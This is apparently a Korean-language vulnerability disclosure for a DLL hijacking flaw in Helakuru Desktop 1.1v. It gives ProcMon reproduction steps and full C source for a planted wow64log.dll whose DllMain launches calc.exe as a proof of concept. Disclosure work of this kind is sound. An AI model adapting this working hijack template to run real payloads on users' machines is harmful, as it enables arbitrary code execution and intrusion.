Helakuru의 DLL 하이재킹 취약점

요약

Helakuru Desktop 버전 1.1v는 64비트 및 32비트 아키텍처에서 모두 작동합니다. 테스트 중 프로그램이 최신 Windows 운영 체제에 기본적으로 포함되지 않은 wow64log.dll을 로드하려 시도하는 것이 확인되었습니다. 이로 인해 'Name not found' 오류가 발생하여 프로그램이 DLL 하이재킹 취약점에 노출됩니다. 악성 wow64log.dll을 제작하면 임의 코드 실행이 가능합니다.

영향받는 버전

Helakuru Desktop 1.1v

재현 단계

ProcMon으로 DLL 로딩 모니터링

ProcMon이 wow64log.dll에 대해 "Name not found" 오류가 있는 CreateFile 작업을 표시함

악성 wow64log.dll 생성

#include <windows.h>
#include <stdio.h>

void LaunchCalculator()
{
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;

    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    const char* calcCmd = "C:\\Windows\\System32\\calc.exe";

    if (!CreateProcessA(
        NULL,          
        (LPSTR)calcCmd, 
        NULL,          
        NULL,          
        FALSE,         
        0,             
        NULL,          
        NULL,          
        &si,           
        &pi))          
    {
        printf("CreateProcess failed (%d).\n", GetLastError());
    }
    else
    {
        WaitForSingleObject(pi.hProcess, INFINITE);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    }
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        LaunchCalculator();
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Helakuru Desktop 실행

Helakuru Desktop을 다시 실행합니다. 악성 wow64log.dll이 이제 프로그램에 로드되어, 성공적인 DLL 인젝션을 입증하는 데모로 계산기(Calculator)가 실행됩니다.

ProcMon을 사용하여 DLL 로드 확인

ProcMon을 다시 열고 이번에는 wow64log.dll이 성공적으로 로드되는 것을 확인하여, 사용자 정의 DLL이 프로그램에 의해 실행되었음을 확인합니다.

영향: 이 취약점으로 인해 임의 코드 실행이 가능합니다.

HelakuruV.1.1-DLLHijack

인기